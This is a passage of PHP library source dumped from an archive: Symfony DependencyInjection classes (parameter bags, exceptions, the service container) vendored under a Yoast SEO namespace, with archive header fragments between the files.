\array_key_exists($this->normalizeName($name), $this->parameters); } /** * Removes a parameter. * * @param string $name The parameter name */ public function remove($name) { unset($this->parameters[$this->normalizeName($name)]); } /** * {@inheritdoc} */ public function resolve() { if ($this->resolved) { return; } $parameters = []; foreach ($this->parameters as $key => $value) { try { $value = $this->resolveValue($value); $parameters[$key] = $this->unescapeValue($value); } catch (\YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException $e) { $e->setSourceKey($key); throw $e; } } $this->parameters = $parameters; $this->resolved = \true; } /** * Replaces parameter placeholders (%name%) by their values. * * @param mixed $value A value * @param array $resolving An array of keys that are being resolved (used internally to detect circular references) * * @return mixed The resolved value * * @throws ParameterNotFoundException if a placeholder references a parameter that does not exist * @throws ParameterCircularReferenceException if a circular reference if detected * @throws RuntimeException when a given parameter has a type problem */ public function resolveValue($value, array $resolving = []) { if (\is_array($value)) { $args = []; foreach ($value as $k => $v) { $args[\is_string($k) ? $this->resolveValue($k, $resolving) : $k] = $this->resolveValue($v, $resolving); } return $args; } if (!\is_string($value) || 2 > \strlen($value)) { return $value; } return $this->resolveString($value, $resolving); } /** * Resolves parameters inside a string. * * @param string $value The string to resolve * @param array $resolving An array of keys that are being resolved (used internally to detect circular references) * * @return mixed The resolved string * * @throws ParameterNotFoundException if a placeholder references a parameter that does not exist * @throws ParameterCircularReferenceException if a circular reference if detected * @throws RuntimeException when a given parameter has a type problem */ public function resolveString($value, array $resolving = []) { // we do this to deal with non string values (Boolean, integer, ...) // as the preg_replace_callback throw an exception when trying // a non-string in a parameter value if (\preg_match('/^%([^%\\s]+)%$/', $value, $match)) { $key = $match[1]; $lcKey = \strtolower($key); // strtolower() to be removed in 4.0 if (isset($resolving[$lcKey])) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException(\array_keys($resolving)); } $resolving[$lcKey] = \true; return $this->resolved ? $this->get($key) : $this->resolveValue($this->get($key), $resolving); } return \preg_replace_callback('/%%|%([^%\\s]+)%/', function ($match) use($resolving, $value) { // skip %% if (!isset($match[1])) { return '%%'; } $key = $match[1]; $lcKey = \strtolower($key); // strtolower() to be removed in 4.0 if (isset($resolving[$lcKey])) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException(\array_keys($resolving)); } $resolved = $this->get($key); if (!\is_string($resolved) && !\is_numeric($resolved)) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException(\sprintf('A string value must be composed of strings and/or numbers, but found parameter "%s" of type "%s" inside string value "%s".', $key, \gettype($resolved), $value)); } $resolved = (string) $resolved; $resolving[$lcKey] = \true; return $this->isResolved() ? $resolved : $this->resolveString($resolved, $resolving); }, $value); } public function isResolved() { return $this->resolved; } /** * {@inheritdoc} */ public function escapeValue($value) { if (\is_string($value)) { return \str_replace('%', '%%', $value); } if (\is_array($value)) { $result = []; foreach ($value as $k => $v) { $result[$k] = $this->escapeValue($v); } return $result; } return $value; } /** * {@inheritdoc} */ public function unescapeValue($value) { if (\is_string($value)) { return \str_replace('%%', '%', $value); } if (\is_array($value)) { $result = []; foreach ($value as $k => $v) { $result[$k] = $this->unescapeValue($v); } return $result; } return $value; } private function normalizeName($name) { if (isset($this->normalizedNames[$normalizedName = \strtolower($name)])) { $normalizedName = $this->normalizedNames[$normalizedName]; if ((string) $name !== $normalizedName) { @\trigger_error(\sprintf('Parameter names will be made case sensitive in Symfony 4.0. Using "%s" instead of "%s" is deprecated since Symfony 3.4.', $name, $normalizedName), \E_USER_DEPRECATED); } } else { $normalizedName = $this->normalizedNames[$normalizedName] = (string) $name; } return $normalizedName; } } symfony/dependency-injection/ParameterBag/FrozenParameterBag.php000066600000003633151734252230021144 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException; /** * Holds read-only parameters. * * @author Fabien Potencier */ class FrozenParameterBag extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBag { /** * For performance reasons, the constructor assumes that * all keys are already lowercased. * * This is always the case when used internally. * * @param array $parameters An array of parameters */ public function __construct(array $parameters = []) { $this->parameters = $parameters; $this->resolved = \true; } /** * {@inheritdoc} */ public function clear() { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call clear() on a frozen ParameterBag.'); } /** * {@inheritdoc} */ public function add(array $parameters) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call add() on a frozen ParameterBag.'); } /** * {@inheritdoc} */ public function set($name, $value) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call set() on a frozen ParameterBag.'); } /** * {@inheritdoc} */ public function remove($name) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call remove() on a frozen ParameterBag.'); } } symfony/dependency-injection/ParameterBag/EnvPlaceholderParameterBag.php000066600000010007151734252230022565 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException; /** * @author Nicolas Grekas */ class EnvPlaceholderParameterBag extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBag { private $envPlaceholders = []; private $providedTypes = []; /** * {@inheritdoc} */ public function get($name) { if (0 === \strpos($name, 'env(') && ')' === \substr($name, -1) && 'env()' !== $name) { $env = \substr($name, 4, -1); if (isset($this->envPlaceholders[$env])) { foreach ($this->envPlaceholders[$env] as $placeholder) { return $placeholder; // return first result } } if (!\preg_match('/^(?:\\w++:)*+\\w++$/', $env)) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException(\sprintf('Invalid "%s" name: only "word" characters are allowed.', $name)); } if ($this->has($name)) { $defaultValue = parent::get($name); if (null !== $defaultValue && !\is_scalar($defaultValue)) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException(\sprintf('The default value of an env() parameter must be scalar or null, but "%s" given to "%s".', \gettype($defaultValue), $name)); } } $uniqueName = \md5($name . \uniqid(\mt_rand(), \true)); $placeholder = \sprintf('env_%s_%s', \str_replace(':', '_', $env), $uniqueName); $this->envPlaceholders[$env][$placeholder] = $placeholder; return $placeholder; } return parent::get($name); } /** * Returns the map of env vars used in the resolved parameter values to their placeholders. * * @return string[][] A map of env var names to their placeholders */ public function getEnvPlaceholders() { return $this->envPlaceholders; } /** * Merges the env placeholders of another EnvPlaceholderParameterBag. */ public function mergeEnvPlaceholders(self $bag) { if ($newPlaceholders = $bag->getEnvPlaceholders()) { $this->envPlaceholders += $newPlaceholders; foreach ($newPlaceholders as $env => $placeholders) { $this->envPlaceholders[$env] += $placeholders; } } } /** * Maps env prefixes to their corresponding PHP types. */ public function setProvidedTypes(array $providedTypes) { $this->providedTypes = $providedTypes; } /** * Gets the PHP types corresponding to env() parameter prefixes. * * @return string[][] */ public function getProvidedTypes() { return $this->providedTypes; } /** * {@inheritdoc} */ public function resolve() { if ($this->resolved) { return; } parent::resolve(); foreach ($this->envPlaceholders as $env => $placeholders) { if (!$this->has($name = "env({$env})")) { continue; } if (\is_numeric($default = $this->parameters[$name])) { $this->parameters[$name] = (string) $default; } elseif (null !== $default && !\is_scalar($default)) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException(\sprintf('The default value of env parameter "%s" must be scalar or null, "%s" given.', $env, \gettype($default))); } } } } symfony/dependency-injection/ParameterBag/ParameterBagInterface.php000066600000005370151734252230021601 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException; /** * ParameterBagInterface. * * @author Fabien Potencier */ interface ParameterBagInterface { /** * Clears all parameters. * * @throws LogicException if the ParameterBagInterface can not be cleared */ public function clear(); /** * Adds parameters to the service container parameters. * * @param array $parameters An array of parameters * * @throws LogicException if the parameter can not be added */ public function add(array $parameters); /** * Gets the service container parameters. * * @return array An array of parameters */ public function all(); /** * Gets a service container parameter. * * @param string $name The parameter name * * @return mixed The parameter value * * @throws ParameterNotFoundException if the parameter is not defined */ public function get($name); /** * Removes a parameter. * * @param string $name The parameter name */ public function remove($name); /** * Sets a service container parameter. * * @param string $name The parameter name * @param mixed $value The parameter value * * @throws LogicException if the parameter can not be set */ public function set($name, $value); /** * Returns true if a parameter name is defined. * * @param string $name The parameter name * * @return bool true if the parameter name is defined, false otherwise */ public function has($name); /** * Replaces parameter placeholders (%name%) by their values for all parameters. */ public function resolve(); /** * Replaces parameter placeholders (%name%) by their values. * * @param mixed $value A value * * @throws ParameterNotFoundException if a placeholder references a parameter that does not exist */ public function resolveValue($value); /** * Escape parameter placeholders %. * * @param mixed $value * * @return mixed */ public function escapeValue($value); /** * Unescape parameter placeholders %. * * @param mixed $value * * @return mixed */ public function unescapeValue($value); } symfony/dependency-injection/Exception/ParameterCircularReferenceException.php000066600000001757151734252230024142 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; /** * This exception is thrown when a circular reference in a parameter is detected. * * @author Fabien Potencier */ class ParameterCircularReferenceException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException { private $parameters; public function __construct($parameters, \Exception $previous = null) { parent::__construct(\sprintf('Circular reference detected for parameter "%s" ("%s" > "%s").', $parameters[0], \implode('" > "', $parameters), $parameters[0]), 0, $previous); $this->parameters = $parameters; } public function getParameters() { return $this->parameters; } } symfony/dependency-injection/Exception/ServiceNotFoundException.php000066600000003556151734252230021772 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; use YoastSEO_Vendor\Psr\Container\NotFoundExceptionInterface; /** * This exception is thrown when a non-existent service is requested. * * @author Johannes M. Schmitt */ class ServiceNotFoundException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException implements \YoastSEO_Vendor\Psr\Container\NotFoundExceptionInterface { private $id; private $sourceId; private $alternatives; public function __construct($id, $sourceId = null, \Exception $previous = null, array $alternatives = [], $msg = null) { if (null !== $msg) { // no-op } elseif (null === $sourceId) { $msg = \sprintf('You have requested a non-existent service "%s".', $id); } else { $msg = \sprintf('The service "%s" has a dependency on a non-existent service "%s".', $sourceId, $id); } if ($alternatives) { if (1 == \count($alternatives)) { $msg .= ' Did you mean this: "'; } else { $msg .= ' Did you mean one of these: "'; } $msg .= \implode('", "', $alternatives) . '"?'; } parent::__construct($msg, 0, $previous); $this->id = $id; $this->sourceId = $sourceId; $this->alternatives = $alternatives; } public function getId() { return $this->id; } public function getSourceId() { return $this->sourceId; } public function getAlternatives() { return $this->alternatives; } } symfony/dependency-injection/Exception/ServiceCircularReferenceException.php000066600000002101151734252230023602 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; /** * This exception is thrown when a circular reference is detected. * * @author Johannes M. Schmitt */ class ServiceCircularReferenceException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException { private $serviceId; private $path; public function __construct($serviceId, array $path, \Exception $previous = null) { parent::__construct(\sprintf('Circular reference detected for service "%s", path: "%s".', $serviceId, \implode(' -> ', $path)), 0, $previous); $this->serviceId = $serviceId; $this->path = $path; } public function getServiceId() { return $this->serviceId; } public function getPath() { return $this->path; } } symfony/dependency-injection/Exception/EnvNotFoundException.php000066600000001300151734252230021103 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; /** * This exception is thrown when an environment variable is not found. * * @author Nicolas Grekas */ class EnvNotFoundException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException { public function __construct($name) { parent::__construct(\sprintf('Environment variable not found: "%s".', $name)); } } symfony/dependency-injection/Exception/InvalidArgumentException.php000066600000001151151734252230021773 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; /** * Base InvalidArgumentException for Dependency Injection component. * * @author Bulat Shakirzyanov */ class InvalidArgumentException extends \InvalidArgumentException implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ExceptionInterface { } symfony/dependency-injection/Exception/ExceptionInterface.php000066600000001223151734252230020602 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; use YoastSEO_Vendor\Psr\Container\ContainerExceptionInterface; /** * Base ExceptionInterface for Dependency Injection component. * * @author Fabien Potencier * @author Bulat Shakirzyanov */ interface ExceptionInterface extends \YoastSEO_Vendor\Psr\Container\ContainerExceptionInterface { } symfony/dependency-injection/Exception/RuntimeException.php000066600000001113151734252230020323 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; /** * Base RuntimeException for Dependency Injection component. * * @author Johannes M. Schmitt */ class RuntimeException extends \RuntimeException implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ExceptionInterface { } symfony/dependency-injection/Exception/LogicException.php000066600000001014151734252230017735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception; /** * Base LogicException for Dependency Injection component. */ class LogicException extends \LogicException implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ExceptionInterface { } symfony/dependency-injection/ContainerInterface.php000066600000005677151734252230016651 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection; use YoastSEO_Vendor\Psr\Container\ContainerInterface as PsrContainerInterface; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceCircularReferenceException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException; /** * ContainerInterface is the interface implemented by service container classes. * * @author Fabien Potencier * @author Johannes M. Schmitt */ interface ContainerInterface extends \YoastSEO_Vendor\Psr\Container\ContainerInterface { const EXCEPTION_ON_INVALID_REFERENCE = 1; const NULL_ON_INVALID_REFERENCE = 2; const IGNORE_ON_INVALID_REFERENCE = 3; const IGNORE_ON_UNINITIALIZED_REFERENCE = 4; /** * Sets a service. * * @param string $id The service identifier * @param object|null $service The service instance */ public function set($id, $service); /** * Gets a service. * * @param string $id The service identifier * @param int $invalidBehavior The behavior when the service does not exist * * @return object|null The associated service * * @throws ServiceCircularReferenceException When a circular reference is detected * @throws ServiceNotFoundException When the service is not defined * * @see Reference */ public function get($id, $invalidBehavior = self::EXCEPTION_ON_INVALID_REFERENCE); /** * Returns true if the given service is defined. * * @param string $id The service identifier * * @return bool true if the service is defined, false otherwise */ public function has($id); /** * Check for whether or not a service has been initialized. * * @param string $id * * @return bool true if the service has been initialized, false otherwise */ public function initialized($id); /** * Gets a parameter. * * @param string $name The parameter name * * @return mixed The parameter value * * @throws InvalidArgumentException if the parameter is not defined */ public function getParameter($name); /** * Checks if a parameter exists. * * @param string $name The parameter name * * @return bool The presence of parameter in container */ public function hasParameter($name); /** * Sets a parameter. * * @param string $name The parameter name * @param mixed $value The parameter value */ public function setParameter($name, $value); } symfony/dependency-injection/Container.php000066600000047734151734252230015030 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\EnvNotFoundException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceCircularReferenceException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\EnvPlaceholderParameterBag; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag; use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface; /** * Container is a dependency injection container. * * It gives access to object instances (services). * Services and parameters are simple key/pair stores. * The container can have four possible behaviors when a service * does not exist (or is not initialized for the last case): * * * EXCEPTION_ON_INVALID_REFERENCE: Throws an exception (the default) * * NULL_ON_INVALID_REFERENCE: Returns null * * IGNORE_ON_INVALID_REFERENCE: Ignores the wrapping command asking for the reference * (for instance, ignore a setter if the service does not exist) * * IGNORE_ON_UNINITIALIZED_REFERENCE: Ignores/returns null for uninitialized services or invalid references * * @author Fabien Potencier * @author Johannes M. Schmitt */ class Container implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ResettableContainerInterface { protected $parameterBag; protected $services = []; protected $fileMap = []; protected $methodMap = []; protected $aliases = []; protected $loading = []; protected $resolving = []; protected $syntheticIds = []; /** * @internal */ protected $privates = []; /** * @internal */ protected $normalizedIds = []; private $underscoreMap = ['_' => '', '.' => '_', '\\' => '_']; private $envCache = []; private $compiled = \false; private $getEnv; public function __construct(\YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface $parameterBag = null) { $this->parameterBag = $parameterBag ?: new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\EnvPlaceholderParameterBag(); } /** * Compiles the container. * * This method does two things: * * * Parameter values are resolved; * * The parameter bag is frozen. */ public function compile() { $this->parameterBag->resolve(); $this->parameterBag = new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag($this->parameterBag->all()); $this->compiled = \true; } /** * Returns true if the container is compiled. * * @return bool */ public function isCompiled() { return $this->compiled; } /** * Returns true if the container parameter bag are frozen. * * @deprecated since version 3.3, to be removed in 4.0. * * @return bool true if the container parameter bag are frozen, false otherwise */ public function isFrozen() { @\trigger_error(\sprintf('The %s() method is deprecated since Symfony 3.3 and will be removed in 4.0. Use the isCompiled() method instead.', __METHOD__), \E_USER_DEPRECATED); return $this->parameterBag instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag; } /** * Gets the service container parameter bag. * * @return ParameterBagInterface A ParameterBagInterface instance */ public function getParameterBag() { return $this->parameterBag; } /** * Gets a parameter. * * @param string $name The parameter name * * @return mixed The parameter value * * @throws InvalidArgumentException if the parameter is not defined */ public function getParameter($name) { return $this->parameterBag->get($name); } /** * Checks if a parameter exists. * * @param string $name The parameter name * * @return bool The presence of parameter in container */ public function hasParameter($name) { return $this->parameterBag->has($name); } /** * Sets a parameter. * * @param string $name The parameter name * @param mixed $value The parameter value */ public function setParameter($name, $value) { $this->parameterBag->set($name, $value); } /** * Sets a service. * * Setting a synthetic service to null resets it: has() returns false and get() * behaves in the same way as if the service was never created. * * @param string $id The service identifier * @param object|null $service The service instance */ public function set($id, $service) { // Runs the internal initializer; used by the dumped container to include always-needed files if (isset($this->privates['service_container']) && $this->privates['service_container'] instanceof \Closure) { $initialize = $this->privates['service_container']; unset($this->privates['service_container']); $initialize(); } $id = $this->normalizeId($id); if ('service_container' === $id) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException('You cannot set service "service_container".'); } if (isset($this->privates[$id]) || !(isset($this->fileMap[$id]) || isset($this->methodMap[$id]))) { if (!isset($this->privates[$id]) && !isset($this->getRemovedIds()[$id])) { // no-op } elseif (null === $service) { @\trigger_error(\sprintf('The "%s" service is private, unsetting it is deprecated since Symfony 3.2 and will fail in 4.0.', $id), \E_USER_DEPRECATED); unset($this->privates[$id]); } else { @\trigger_error(\sprintf('The "%s" service is private, replacing it is deprecated since Symfony 3.2 and will fail in 4.0.', $id), \E_USER_DEPRECATED); } } elseif (isset($this->services[$id])) { if (null === $service) { @\trigger_error(\sprintf('The "%s" service is already initialized, unsetting it is deprecated since Symfony 3.3 and will fail in 4.0.', $id), \E_USER_DEPRECATED); } else { @\trigger_error(\sprintf('The "%s" service is already initialized, replacing it is deprecated since Symfony 3.3 and will fail in 4.0.', $id), \E_USER_DEPRECATED); } } if (isset($this->aliases[$id])) { unset($this->aliases[$id]); } if (null === $service) { unset($this->services[$id]); return; } $this->services[$id] = $service; } /** * Returns true if the given service is defined. * * @param string $id The service identifier * * @return bool true if the service is defined, false otherwise */ public function has($id) { for ($i = 2;;) { if (isset($this->privates[$id])) { @\trigger_error(\sprintf('The "%s" service is private, checking for its existence is deprecated since Symfony 3.2 and will fail in 4.0.', $id), \E_USER_DEPRECATED); } if (isset($this->aliases[$id])) { $id = $this->aliases[$id]; } if (isset($this->services[$id])) { return \true; } if ('service_container' === $id) { return \true; } if (isset($this->fileMap[$id]) || isset($this->methodMap[$id])) { return \true; } if (--$i && $id !== ($normalizedId = $this->normalizeId($id))) { $id = $normalizedId; continue; } // We only check the convention-based factory in a compiled container (i.e. a child class other than a ContainerBuilder, // and only when the dumper has not generated the method map (otherwise the method map is considered to be fully populated by the dumper) if (!$this->methodMap && !$this instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerBuilder && __CLASS__ !== static::class && \method_exists($this, 'get' . \strtr($id, $this->underscoreMap) . 'Service')) { @\trigger_error('Generating a dumped container without populating the method map is deprecated since Symfony 3.2 and will be unsupported in 4.0. Update your dumper to generate the method map.', \E_USER_DEPRECATED); return \true; } return \false; } } /** * Gets a service. * * If a service is defined both through a set() method and * with a get{$id}Service() method, the former has always precedence. * * @param string $id The service identifier * @param int $invalidBehavior The behavior when the service does not exist * * @return object|null The associated service * * @throws ServiceCircularReferenceException When a circular reference is detected * @throws ServiceNotFoundException When the service is not defined * @throws \Exception if an exception has been thrown when the service has been resolved * * @see Reference */ public function get($id, $invalidBehavior = 1) { // Attempt to retrieve the service by checking first aliases then // available services. Service IDs are case insensitive, however since // this method can be called thousands of times during a request, avoid // calling $this->normalizeId($id) unless necessary. for ($i = 2;;) { if (isset($this->privates[$id])) { @\trigger_error(\sprintf('The "%s" service is private, getting it from the container is deprecated since Symfony 3.2 and will fail in 4.0. You should either make the service public, or stop using the container directly and use dependency injection instead.', $id), \E_USER_DEPRECATED); } if (isset($this->aliases[$id])) { $id = $this->aliases[$id]; } // Re-use shared service instance if it exists. if (isset($this->services[$id])) { return $this->services[$id]; } if ('service_container' === $id) { return $this; } if (isset($this->loading[$id])) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceCircularReferenceException($id, \array_merge(\array_keys($this->loading), [$id])); } $this->loading[$id] = \true; try { if (isset($this->fileMap[$id])) { return 4 === $invalidBehavior ? null : $this->load($this->fileMap[$id]); } elseif (isset($this->methodMap[$id])) { return 4 === $invalidBehavior ? null : $this->{$this->methodMap[$id]}(); } elseif (--$i && $id !== ($normalizedId = $this->normalizeId($id))) { unset($this->loading[$id]); $id = $normalizedId; continue; } elseif (!$this->methodMap && !$this instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerBuilder && __CLASS__ !== static::class && \method_exists($this, $method = 'get' . \strtr($id, $this->underscoreMap) . 'Service')) { // We only check the convention-based factory in a compiled container (i.e. a child class other than a ContainerBuilder, // and only when the dumper has not generated the method map (otherwise the method map is considered to be fully populated by the dumper) @\trigger_error('Generating a dumped container without populating the method map is deprecated since Symfony 3.2 and will be unsupported in 4.0. Update your dumper to generate the method map.', \E_USER_DEPRECATED); return 4 === $invalidBehavior ? null : $this->{$method}(); } break; } catch (\Exception $e) { unset($this->services[$id]); throw $e; } finally { unset($this->loading[$id]); } } if (1 === $invalidBehavior) { if (!$id) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id); } if (isset($this->syntheticIds[$id])) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id, null, null, [], \sprintf('The "%s" service is synthetic, it needs to be set at boot time before it can be used.', $id)); } if (isset($this->getRemovedIds()[$id])) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id, null, null, [], \sprintf('The "%s" service or alias has been removed or inlined when the container was compiled. You should either make it public, or stop using the container directly and use dependency injection instead.', $id)); } $alternatives = []; foreach ($this->getServiceIds() as $knownId) { $lev = \levenshtein($id, $knownId); if ($lev <= \strlen($id) / 3 || \false !== \strpos($knownId, $id)) { $alternatives[] = $knownId; } } throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException($id, null, null, $alternatives); } } /** * Returns true if the given service has actually been initialized. * * @param string $id The service identifier * * @return bool true if service has already been initialized, false otherwise */ public function initialized($id) { $id = $this->normalizeId($id); if (isset($this->privates[$id])) { @\trigger_error(\sprintf('Checking for the initialization of the "%s" private service is deprecated since Symfony 3.4 and won\'t be supported anymore in Symfony 4.0.', $id), \E_USER_DEPRECATED); } if (isset($this->aliases[$id])) { $id = $this->aliases[$id]; } if ('service_container' === $id) { return \false; } return isset($this->services[$id]); } /** * {@inheritdoc} */ public function reset() { $this->services = []; } /** * Gets all service ids. * * @return string[] An array of all defined service ids */ public function getServiceIds() { $ids = []; if (!$this->methodMap && !$this instanceof \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerBuilder && __CLASS__ !== static::class) { // We only check the convention-based factory in a compiled container (i.e. a child class other than a ContainerBuilder, // and only when the dumper has not generated the method map (otherwise the method map is considered to be fully populated by the dumper) @\trigger_error('Generating a dumped container without populating the method map is deprecated since Symfony 3.2 and will be unsupported in 4.0. Update your dumper to generate the method map.', \E_USER_DEPRECATED); foreach (\get_class_methods($this) as $method) { if (\preg_match('/^get(.+)Service$/', $method, $match)) { $ids[] = self::underscore($match[1]); } } } $ids[] = 'service_container'; return \array_map('strval', \array_unique(\array_merge($ids, \array_keys($this->methodMap), \array_keys($this->fileMap), \array_keys($this->aliases), \array_keys($this->services)))); } /** * Gets service ids that existed at compile time. * * @return array */ public function getRemovedIds() { return []; } /** * Camelizes a string. * * @param string $id A string to camelize * * @return string The camelized string */ public static function camelize($id) { return \strtr(\ucwords(\strtr($id, ['_' => ' ', '.' => '_ ', '\\' => '_ '])), [' ' => '']); } /** * A string to underscore. * * @param string $id The string to underscore * * @return string The underscored string */ public static function underscore($id) { return \strtolower(\preg_replace(['/([A-Z]+)([A-Z][a-z])/', '/([a-z\\d])([A-Z])/'], ['\\1_\\2', '\\1_\\2'], \str_replace('_', '.', $id))); } /** * Creates a service by requiring its factory file. */ protected function load($file) { return require $file; } /** * Fetches a variable from the environment. * * @param string $name The name of the environment variable * * @return mixed The value to use for the provided environment variable name * * @throws EnvNotFoundException When the environment variable is not found and has no default value */ protected function getEnv($name) { if (isset($this->resolving[$envName = "env({$name})"])) { throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException(\array_keys($this->resolving)); } if (isset($this->envCache[$name]) || \array_key_exists($name, $this->envCache)) { return $this->envCache[$name]; } if (!$this->has($id = 'container.env_var_processors_locator')) { $this->set($id, new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ServiceLocator([])); } if (!$this->getEnv) { $this->getEnv = new \ReflectionMethod($this, __FUNCTION__); $this->getEnv->setAccessible(\true); $this->getEnv = $this->getEnv->getClosure($this); } $processors = $this->get($id); if (\false !== ($i = \strpos($name, ':'))) { $prefix = \substr($name, 0, $i); $localName = \substr($name, 1 + $i); } else { $prefix = 'string'; $localName = $name; } $processor = $processors->has($prefix) ? $processors->get($prefix) : new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\EnvVarProcessor($this); $this->resolving[$envName] = \true; try { return $this->envCache[$name] = $processor->getEnv($prefix, $localName, $this->getEnv); } finally { unset($this->resolving[$envName]); } } /** * Returns the case sensitive id used at registration time. * * @param string $id * * @return string * * @internal */ public function normalizeId($id) { if (!\is_string($id)) { $id = (string) $id; } if (isset($this->normalizedIds[$normalizedId = \strtolower($id)])) { $normalizedId = $this->normalizedIds[$normalizedId]; if ($id !== $normalizedId) { @\trigger_error(\sprintf('Service identifiers will be made case sensitive in Symfony 4.0. Using "%s" instead of "%s" is deprecated since Symfony 3.3.', $id, $normalizedId), \E_USER_DEPRECATED); } } else { $normalizedId = $this->normalizedIds[$normalizedId] = $id; } return $normalizedId; } private function __clone() { } } symfony/dependency-injection/ResettableContainerInterface.php000066600000002015151734252230020643 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection; /** * ResettableContainerInterface defines additional resetting functionality * for containers, allowing to release shared services when the container is * not needed anymore. * * @author Christophe Coevoet */ interface ResettableContainerInterface extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface { /** * Resets shared services from the container. * * The container is not intended to be used again after being reset in a normal 